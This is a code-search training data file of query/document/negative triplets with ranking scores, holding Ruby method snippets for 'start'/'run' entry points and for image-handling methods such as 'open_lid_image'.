{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_run; end", "def start\n configure\n run\n end", "def start(options = {})\n setup options\n run!\n end", "def start\n ucommand(:start)\n end", "def run_main\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start()\n\n\t\tend", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start(commands, runner)\n end", "def start_run\n # Abstract\n end", "def start_run\n # Abstract\n end", "def start\n\n end", "def start\n \n\tend", "def setup!\n drb_input!\n drb_retrieve_output!\n drb_store_output!\n drb_restart!\n drb_start!\n drb_status!\n drb_stop!\n end", "def start\n\t\tend", "def run_start(version)\n puts \"starting chef, version #{version}\"\n end", "def run\n program :name, 'Budik'\n program :version, VERSION\n program :description, @strings.description\n\n commands\n\n default_command :run\n\n run!\n end", "def startup\n end", "def start\n return if initialized\n puts copyright\n argv = ARGV\n ARGV.clear\n IRB.start\n ARGV.replace(argv)\n end", "def start()\r\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\r\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\r\n\t\t\t@output.puts(\"Starting game...\")\r\n\t\t\t@output.puts('Enter \"1\" to run the game in the command-line window or \"2\" to run it in a web browser')\r\n\t\tend", "def start\n @config[:start]\n end", "def run\n puts \"#{@name} is running.\"\n end", "def start # :nodoc:\n log \"Starting\"\n end", "def start\n end", "def start\n end", "def start\n\t\tinit\n\t end", "def start\n Command::Installer::Start.new(\n *command_params\n ).execute\n rescue => e\n catch_errors(e)\n end", "def run\n puts \"Hello world\"\n end", "def start\n end", "def start\n greeting\n console_search\n goodbye\n end", "def start\n puts options\n config = Configuration.new(options)\n puts config.build\n exit(0)\n end", "def command_start; end", "def command_start; end", "def command_start; end", "def start\n loop do\n run\n end\n end", "def start\r\n return if running?\r\n\r\n log(\"Starting Runner...\")\r\n run!\r\n end", "def start\n start_message\n setup_options\n validate!\n setup_jobs\n boot_manager\n end", "def start(args)\n raise \"You must implement a 'start' method in your class!\"\n end", "def start\n if options.master?\n start_master(options)\n elsif options.slave?\n start_slave(options)\n else\n invoke :help, [:start]\n end\n end", "def startup\nend", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def main\n\n # test\n\n # Console.new\n console_start\n end", "def start\n @cmd.parse\n end", "def start\n run_all if @options[:all_on_start]\n end", "def run\n write_parameter_file\n Tandem.run_commandline_application\n end", "def main(*args)\n #puts self.class # TODO: fix help\n raise NoCommandError\n end", "def run\n end", "def run\n end", "def default_start_program\n _init_command('start')\n end", "def run\r\n return puts(\"usage example: glimmer run tictactoe\") unless @name\r\n # Search for the filename (and add the .rb extension if not provided), and run it\r\n if File.exist?(\"#{@name}#{'.rb' unless @name =~ /.rb$/}\")\r\n command = \"#{JRUBY_COMMAND} \\\"#{@name.gsub(/\\\\/, '/')}#{'.rb' unless @name =~ /.rb$/}\\\"\"\r\n else\r\n # Search for all installed samples and try to run of those\r\n command = \"#{JRUBY_COMMAND} \\\"#{SAMPLES_PATH}/#{fetch_app(@name)}.rb\\\"\"\r\n end\r\n puts \"Starting the application with following command:\"\r\n puts command\r\n system command\r\n end", "def start\n UI.info \"Guard::Ronn is running, with Ronn #{::Ronn.version}!\"\n end", "def execute\n setup\n begin\n data = main\n rescue ArgumentError => e\n warn e.message\n exit 1\n end\n puts format_data(data)\n end", "def run\n header\n what_is_installed?\n install_pianobar\n setup_config_file\n make_fifos\n setup_auto_play_station\n end", "def start!\n verbose('Starting...')\n\n process_kaizen_archive(\n save_to_tempfile('https://codeload.github.com/Wixel/Kaizen/zip/master')\n )\n\n process_normalize_archive(\n save_to_tempfile('https://codeload.github.com/necolas/normalize.css/zip/master')\n )\n\n install_bourbon!\n end", "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments\n # add parameters\n args = {}\n # TODO: use correct syntax for set\n args[:verbose] = @options.verbose if @options.verbose\n args[:input] = @options.input if @options.input\n args[:output] = @options.output if @options.output\n args[:map_name] = @options.map_name if @options.map_name\n args[:not_installed] = @options.cwd if @options.cwd\n \n program = Guy.new args\n program.work\n puts \"Finished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def run\n puts self.name + \" runs\"\n end", "def start\n\t\tself.log.debug \"Starting.\"\n\t\tself.spawn_server\n\t\tself.read_hello\n\tend", "def start\n require 'irbtools'\n end", "def run\n end", "def start(mode)\n end", "def run\n cd File.dirname(__FILE__) do\n # Set these values to what you want installed.\n bins = glob(%w[bin/facter])\n libs = glob(%w[lib/**/*.rb lib/facter/fixtures/* lib/facter/os_hierarchy.json\n lib/facter/fact_groups.conf lib/facter/templates/*])\n man = glob(%w{man/man[0-9]/*})\n\n prepare_installation\n\n do_bins(bins, InstallOptions.bin_dir)\n do_libs(libs)\n do_man(man) unless windows?\n end\n end", "def initialize\n puts \"Welcome to Mastermind!\" \n start\n end", "def start\n jammit\n end", "def run( args=nil )\n console.error 'Running the generic command!!! WAT? https://www.destroyallsoftware.com/talks/wat'\n end", "def start_test_run(test_run)\n puts \"RunId: #{test_run.runId}\\nProject: #{test_run.projectName}\\nTest Count: #{test_run.testCount}\\nQueue Size: #{test_run.queueSize}\\nRunOptions: #{test_run.runOptions}\\nStatus: #{test_run.status}\\n\"\n end", "def start_run()\n \"Click the <b>Start Run</b> button\"\n end", "def start\n Result.new(call(CMD_START))\n end", "def start\n create('start')\n end", "def main; end", "def start\n run_all if options[:all_on_start]\n end", "def start name\n TodoRunner.start = name\n end", "def start_setup\n\t\tread_config()\n\n\t\tputs \"Initializing annotation for project: #{self.project_file_name} ...\"\n\t\tputs \"=================================\"\n\n\t\tif add_annotation_target()\n\t\t\tputs \"=================================\"\n\t\t\tputs \"Annotation initialization for project #{self.project_file_name} done.(●'◡'●)ノ♥\"\n\t\tend\n\tend", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n process_arguments \n start\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end", "def start\n Vedeu.trigger(:_drb_start_)\n\n Vedeu::Terminal.open do\n Vedeu::Terminal.set_cursor_mode\n\n Vedeu.trigger(:_initialize_)\n\n runner { main_sequence }\n end\n end", "def start args\n change_value \"status\", \"started\", args\n 0\n end", "def run\n show_start\n before_run\n main_run\n after_run\n rescue TTY::Command::ExitError => e\n show_exit_error\n raise e\n rescue Errno::ENOENT => e # Maybe we should expand the scope of the error.\n show_exit_error\n raise e\n end", "def start\n _bootstrap!\n self.started = true\n end" ]
[ "0.7559201", "0.73204046", "0.713566", "0.6851551", "0.68159944", "0.67981887", "0.67981887", "0.67981887", "0.6786553", "0.6786553", "0.6786553", "0.6786553", "0.6786553", "0.6786553", "0.6786553", "0.6786553", "0.6774334", "0.67727196", "0.67727196", "0.67727196", "0.67727196", "0.67645454", "0.6756247", "0.6756247", "0.67175144", "0.6707808", "0.66742516", "0.66534746", "0.66397196", "0.663233", "0.66259974", "0.66127735", "0.65993017", "0.65894365", "0.6563014", "0.6559696", "0.6546112", "0.6546112", "0.6531917", "0.65134376", "0.6493952", "0.6464883", "0.6457727", "0.63742816", "0.6370407", "0.6370407", "0.6370407", "0.63656086", "0.63649964", "0.63569576", "0.63504523", "0.6346557", "0.6342861", "0.63411134", "0.63411134", "0.63411134", "0.63411134", "0.63411134", "0.63411134", "0.63411134", "0.63388747", "0.63338435", "0.6330618", "0.63229233", "0.63227385", "0.6318777", "0.6318777", "0.63151664", "0.6312683", "0.63090175", "0.63036025", "0.62858224", "0.62829834", "0.62806314", "0.62806314", "0.6279998", "0.62797475", "0.62797475", "0.62797475", "0.6268691", "0.62661946", "0.62616915", "0.62607926", "0.62605286", "0.6252434", "0.6246397", "0.62449604", "0.6243023", "0.6235246", "0.6232658", "0.6228021", "0.6196753", "0.6191076", "0.61819184", "0.61815476", "0.6180025", "0.61742353", "0.6174049", "0.6164354", "0.6161512", "0.61533755" ]
0.0
-1
Image Methods These probably should NOT be overridden in the concrete classes Image for opening the lid
def open_lid_image image_path(image_name: params[:open_lid_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def image; end", "def image\n end", "def image\n end", "def image\n end", "def image\n end", "def img(*) # :nodoc:\n raise \"no!\"\n end", "def image\n\n end", "def software_image\n super\n end", "def images; end", "def lnbPicture _obj, _args\n \"_obj lnbPicture _args;\" \n end", "def close_lid_image\n image_path(image_name: params[:close_lid_image])\n end", "def set_img\n\n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def software_image_list\n super\n end", "def image_link()\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.a.id(\"/res_hypSmallBox/\"), format_method(__method__))\n end", "def initialize(image)\n @image_location = image\n @auto_size = false\n super()\n end", "def images\n end", "def logo; end", "def logo; end", "def afficher\n @image.display\n end", "def cur_image\n self\n end", "def edit_real_picture\n end", "def provide_navigation_to_long_description(image)\n # Interface method\n end", "def open_graph_image\n # logger.debug53 \"gift.open_graph_image: open_graph_image = #{read_attribute(:open_graph_image)} (#{read_attribute(:open_graph_image).class.name})\"\n return nil unless (extended_open_graph_image = read_attribute(:open_graph_image))\n encrypt_remove_pre_and_postfix(extended_open_graph_image, 'open_graph_image', 53)\n end", "def smallworld_image(*args, &block)\n Smallworld::Image.define_smallworld_image(*args, &block)\nend", "def initialize window, path, tileable = false\n super\n @image = Gosu::Image.new(window, path, tileable)\n end", "def image\n 0\n end", "def image_gel gel, image_name\n show do\n title \"Image gel #{gel}\"\n check \"Clean the transilluminator with ethanol.\"\n check \"Put the gel #{gel} on the transilluminator.\"\n check \"Turn off the room lights before turning on the transilluminator.\"\n check \"Put the camera hood on, turn on the transilluminator and take a picture using the camera control interface on computer.\"\n check \"Check to see if the picture matches the gel before uploading.\"\n check \"Rename the picture you just took exactly as <b>#{image_name}</b>.\"\n end\n end", "def image()\n\t\tActionController::Base.helpers.image_tag(\"holes/Hunter_H%02d\" % self.number + \".jpg\" \\\n\t\t\t, :alt => 'Hole ' % self.number \\\n\t\t\t, :class => 'holeImage'\n\t\t\t)\n\tend", "def monitor; tab.image(:name, 'imgMonitor'); end", "def show_image\n temp_floor_tile = Image.new('tiles\\tile_floor_1.png')\n hex_width = temp_floor_tile.width - 6\n hex_height = temp_floor_tile.width - 4\n temp_floor_tile.remove\n @hexArray.each_with_index do | line, x |\n bottom_y = hex_height * 11\n y_start = bottom_y - (11 - line.size) * (hex_height / 2)\n line.each_with_index do | hex, y |\n cur_x = x * hex_width\n cur_y = y_start - y * hex_height\n\n case hex.type\n when Hex::FLOOR_TYPE\n Image.new('tiles\\tile_floor_1.png', x:cur_x, y:cur_y)\n when Hex::LAVA_TYPE\n Image.new('tiles\\tile_liquid_1.png', x:cur_x, y:cur_y)\n when Hex::EXIT_TYPE\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n Image.new('tiles\\dung_ladderdown.png', x:cur_x, y:cur_y)\n else\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n end\n if hex.contained_object != nil && hex.contained_object.type == MovingObject::PLAYER_TYPE\n Image.new('tiles\\player.png', x:cur_x, y:cur_y)\n end\n end\n end\n end", "def image(hash={})\n\t\tif hash['id'] =~ /nsys|Hand|Arm|Leg|Eye|back|abdomen|chest|head|neck/o\n\t\t\tStatus.sf_update(hash['id'], hash['name'])\n\t\tend\n\tend", "def default_image\n end", "def draw_imgui\n\n\t\tend", "def edit_particular_image\n \n end", "def base_image\n self\n end", "def thumbnail_image\n end", "def add_image \n image = CARMD.image(self.vin)\n if image == \"\"\n image = \"http://clipart-library.com/img/2050778.png\"\n end\n self.auto_image = image \n self.save \n end", "def image_bk(name)\n image = TkPhotoImage.new\n image.file = \"./images/#{name}\"\n label = TkLabel.new(@frame)\n label.image = image\n label.place('height' => image.height, 'width' => image.width,'x' => 290, 'y' => -15)\n end", "def open_ballot_image imageId, filename, dpi\n self.target_dpi = dpi\n open_image imageId, filename, dpi\n\n# Remove the top white margin by examining bands of pixels along the top until we find the first band that is not\n# (close to) pure white. That is where the timing marks will be. Note that we are not insisting on pure white because\n# there are often smudges and imperfections there.\n#\n current_band_y = 0\n average_whiteness = QuantumRange\n band_pixels = i2p(TopWhiteMarginPeekBand)\n while average_whiteness > (QuantumRange * MarginPeekThreshold).to_int\n average_whiteness = shrink_to_one(imageId, 0, current_band_y, columns(imageId), band_pixels)\n current_band_y += band_pixels\n end\n#\n# Current band now contains timing marks. So back off by two bands and trim the image. (Backing off by one sometimes cuts off the slightest \n# sliver of the timing marks and messes things up.\n#\n current_band_y -= band_pixels * 2\n side_crop :top, :row, imageId, current_band_y\n @upstream.ann_offset(0, current_band_y)\n d_write_image imageId\n end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def initialize(x, y, window)\n\t\tsuper(\"images/alien.png\") \n\t\t@x = x\n \t @y = y\n \t\t@window = window\n\tend", "def load_image(path)\n end", "def new\n\t\t@image = Image.new\n\tend", "def new\n\t\t@image = Image.new\n\tend", "def logo=(_arg0); end", "def S(args)\n puts \"\\n=>\\n\"\n @image.show\n end", "def init_tile_image\n list = Magick::ImageList.new(\"/Users/pmenke/git/eq2_tiler/resources/tiler/overlay-base.png\")\n @i = list.first\n @i\n end", "def allow(_image)\n puts \" +++ If you're seeing this, #{self.class.name}.#{__method__} was not overridden\"\n end", "def set_normal_image\n self.image_normal = 'pets/' + name.downcase + '.png'\n end", "def cover_image\n end", "def setImage\n str = @pixbuf.pixels\n str.length.times do |i| str[i] = @image_test[@current][i/3] end\n @pixbuf.pixels = str\n @image.pixbuf = @pixbuf.scale(280,280,Gdk::Pixbuf::INTERP_NEAREST)\n set_title(\"MSI, img ##{@current} => #{@label_test[@current]}\")\n if @edge\n edgifyImage\n end\n end", "def new_image?\n @new_image\n end", "def img_name\n \"#{@function}_#{@side.to_s[0,1]}\"\n end", "def find_normal_image\n return \"Pictures/pcn%04d.png\" % (80 + id)\n end", "def identify; end", "def image_class(class_name)\r\n @@super_image_class = class_name\r\n end", "def new \n @image = Image.new\n end", "def render_image\n render_image_iterm2\n end", "def display id\n get_image(id).display\n end", "def image(name, identifier=nil, &block)\n define_method(\"#{name}_element\") do\n return call_block(&block) if block_given?\n platform.image_for(identifier.clone)\n end\n define_method(\"#{name}?\") do\n return call_block(&block).exists? if block_given?\n platform.image_for(identifier.clone).exists?\n end\n alias_method \"#{name}_image\".to_sym, \"#{name}_element\".to_sym\n end", "def test04()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n windowContextName = SecureRandom.uuid\n createWindowContextCommand = CommandModule.make_createwindowcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: windowContextName)\n windowContextObject = SmigIDHash.make_objectid(\n objecttype: :nsgraphicscontext,\n objectname: windowContextName)\n theCommands.add_command(createWindowContextCommand)\n theCommands.add_tocleanupcommands_closeobject(windowContextObject)\n\n # Need to initialize the window to having a white background.\n windowRect = MIShapes.make_rectangle(size: imageDimensions,\n origin: { :x => 0, :y => 0 } )\n whiteColor = MIColor.make_rgbacolor(1.0, 1.0, 1.0)\n drawBackgroundElement = MIDrawElement.new(:fillrectangle)\n drawBackgroundElement.rectangle = windowRect\n drawBackgroundElement.fillcolor = whiteColor\n \n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n drawElements = MIDrawElement.new(:arrayofelements)\n drawElements.add_drawelement_toarrayofelements(drawBackgroundElement)\n drawElements.add_drawelement_toarrayofelements(drawImageElement)\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(windowContextObject,\n drawinstructions: drawElements)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, windowContextObject)\n theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\nend", "def drawimage(xmin, xmax, ymin, ymax, width, height, data, model = 0)\n super(xmin, xmax, ymin, ymax, width, height, uint(data), model)\n end", "def drawimage(xmin, xmax, ymin, ymax, width, height, data, model = 0)\n super(xmin, xmax, ymin, ymax, width, height, uint(data), model)\n end", "def image()\n @image__\n end", "def graphicsmagick?; end", "def imagemagick?; end", "def info_image(*args)\n @p.info_image(self, *args)\n end", "def images\n @images = super || []\n end", "def image(key, image_path)\n # Idea from here http://itext.ugent.be/library/question.php?id=31 \n # Thanks Bruno for letting me know about it.\n img = @image_class.getInstance(image_path)\n img_field = @form.getFieldPositions(key.to_s)\n\n \n rect = @rectangle.new(img_field[1], img_field[2], img_field[3], img_field[4])\n img.scaleToFit(rect.width, rect.height)\n img.setAbsolutePosition(\n img_field[1] + (rect.width - img.getScaledWidth) / 2,\n img_field[2] + (rect.height - img.getScaledHeight) /2\n )\n\n cb = @stamp.getOverContent(img_field[0].to_i)\n cb.addImage(img)\n end", "def image?\n self.sti_type == IMAGE_TYPE\n end", "def open_image id, filename, target_dpi=nil\n m_begin \"open_image\"\n# Read in the file as an imagelist. The new image will be in the first position of the array.\n img = ImageList.new(filename)\n img = img[0]\n put_image(id, img)\n if !target_dpi.nil?\n img = resample id, target_dpi\n end\n m_end \"open_image\"\n end", "def test02()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n end\n end\nend", "def initialize( initial=nil, design: nil,\n colors: nil )\n if initial\n ## pass image through as-is\n img = initial\n else\n ## note: unwrap inner image before passing on to super c'tor\n img = Pixelart::Image.parse( design, colors: colors ).image\n end\n\n super( img.width, img.height, img )\nend", "def set_pil\n @pil = Pil.find(params[:id])\n end", "def robot_image_generator\n img_base_url = 'https://robohash.org/'\n @robot.img_sm = img_base_url + @robot.robot_name + '?size=80x80'\n @robot.img_lg = img_base_url + @robot.robot_name + '?size=300x300'\n end", "def current_image\n image || (owner && owner.respond_to?(:image) && owner.image) || (laws_i_like? && Image.laws_i_like)\n end", "def test05()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage_a05.jpg\"\n begin\n # Create the object that will contain the list of commands.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the name for the importer object.\n importerName = SecureRandom.uuid\n \n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n theCommands.add_command(createImporterCommand)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n\n # Get the dimensions of the image at image index 0 in the image file.\n # So we can calculate how big the bitmap context can be.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n\n # Create the bitmap context object command but first make the name\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: bitmapContextName)\n\n # Add the create bitmap context to the list of commands\n theCommands.add_command(createBitmapContextCommand)\n\n # Create the bitmapcontext object id so we can refer to it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Prepare for the draw element action.\n # The draw element action will draw a rotated image into the bitmapcontext\n width = imageDimensions[:width] * 0.5\n height = imageDimensions[:height] * 0.5\n x = width * 0.5\n y = height * 0.5\n theSize = MIShapes.make_size(width, height)\n theOrigin = MIShapes.make_point(x, y)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n drawImageElement.contextalpha = 0.5\n contextTransform = MITransformations.make_contexttransformation()\n MITransformations.add_translatetransform(contextTransform,\n { :x => width, :y => height })\n MITransformations.add_rotatetransform(contextTransform, Math::PI / 4.0)\n MITransformations.add_translatetransform(contextTransform,\n { :x => -width, :y => -height })\n drawImageElement.contexttransformations = contextTransform\n\n # Create the drawelement command.\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n\n # Prepare for creating the image exporter object command\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n # tempFile = File.join($compareImageDir, baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Make the image file export object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n \n # Make the add an image to the exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n \n # Make the do export command\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n # Add close object commands to the cleanup command list.\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # now actually carry out the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\n end\nend", "def load_imageable\n klass = [Entree, Review].detect { |c| params[\"#{c.name.underscore}_id\"] }\n @imageable = klass.find(params[\"#{klass.name.underscore}_id\"])\n end", "def product_image_link\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.div.className(create_ats_regex_string(\"imgBorder\")).find.a, format_method( __method__), @browser)\n end", "def inspire_image\n head = satelliterepo.head.target\n parent = head.parents.first\n diff = head.diff parent\n # in some case diff is nil, which breaks image generation\n # with nilclass error <- TODO: Investivate this further\n return if diff.nil? || diff.deltas.empty?\n path = diff.deltas.last.new_file[:path]\n generate_inspire_image path\n end", "def sequence_images\n \n end", "def interface_image(filename)\n if interface_exist?(filename_with_language = filename + ($options&.language || 'en')) ||\n interface_exist?(filename_with_language = filename + 'en')\n filename = filename_with_language\n end\n load_image(@interface_cache, filename, Interface_Path, @interface_data, Image)\n end", "def set_main_image\n if self.is_main_image\n self.class.update_all(\"is_main_image = 0\", 